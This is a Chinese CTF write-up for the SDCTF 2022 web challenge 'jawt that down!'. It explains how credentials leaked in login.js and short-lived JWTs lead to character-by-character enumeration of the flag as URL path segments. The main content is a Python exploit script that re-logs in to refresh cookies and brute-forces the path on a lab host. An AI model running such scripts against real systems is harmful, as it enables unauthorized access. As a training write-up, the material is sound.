[SDCTF 2022]jawt that down! p4r4x 题解

Problem: [SDCTF 2022]jawt that down!

思路

源码泄露, 用 dirsearch 扫出 /js 目录, 进一步发现 login.js 有泄露, 然后发现 登录给的 JWT 只有两秒有效, JWT 没有弱密钥或者 none 加密, 尝试了一下访问, 猜测路径就是 flag, 用脚本批量枚举

EXP

#!/usr/bin/env python3
# jawt_that_down.py

import requests

sess = requests.Session()

base_url = 'http://node5.anna.nssctf.cn:26021/'

data = {
    'username': 'AzureDiamond',
    'password': 'hunter2'
}

proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}


def update_cookie():
    response = sess.post(base_url + 'login', data=data, proxies=proxies)
    if response.status_code == 200:
        print("[*] Logged in successfully, cookies updated.")
        return response.cookies
    else:
        raise Exception("Login failed")


def get_flag(cookies, extended_url, attempt):
    while True:
        real_path = base_url + extended_url + '/' + attempt
        response = sess.get(real_path, cookies=cookies, proxies=proxies)
        if response.status_code == 200:
            return True
        elif response.status_code == 403:
            # print("[-] Access forbidden, updating cookies...")
            cookies = update_cookie()
        elif response.status_code == 404:
            return False


def main():
    CHARSET = 'abcdefghijklmnopqrstuvwxyz' + '0123456789{}-_' # + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    cookies = update_cookie()
    extended_url = 'N/S/S/C/T/F/{'
    # extended_url = 'N/S/S/C/T/F/{/5/8/2/9/a/3/f/4'

    while True:
        for c in CHARSET:
            if get_flag(cookies, extended_url, c):
                print(f"[+] Found flag character: {c}")
                extended_url += '/' + c
                print(f"[*] Current extended URL: {extended_url}")
                break
        if extended_url.endswith('}'):
            break

    print("[+] All flag characters found.")
    extended_url = extended_url.replace('/', '')
    print(f"[+] Final flag: {extended_url}")


if __name__ == '__main__':
    main()

总结

• 对该题的考点总结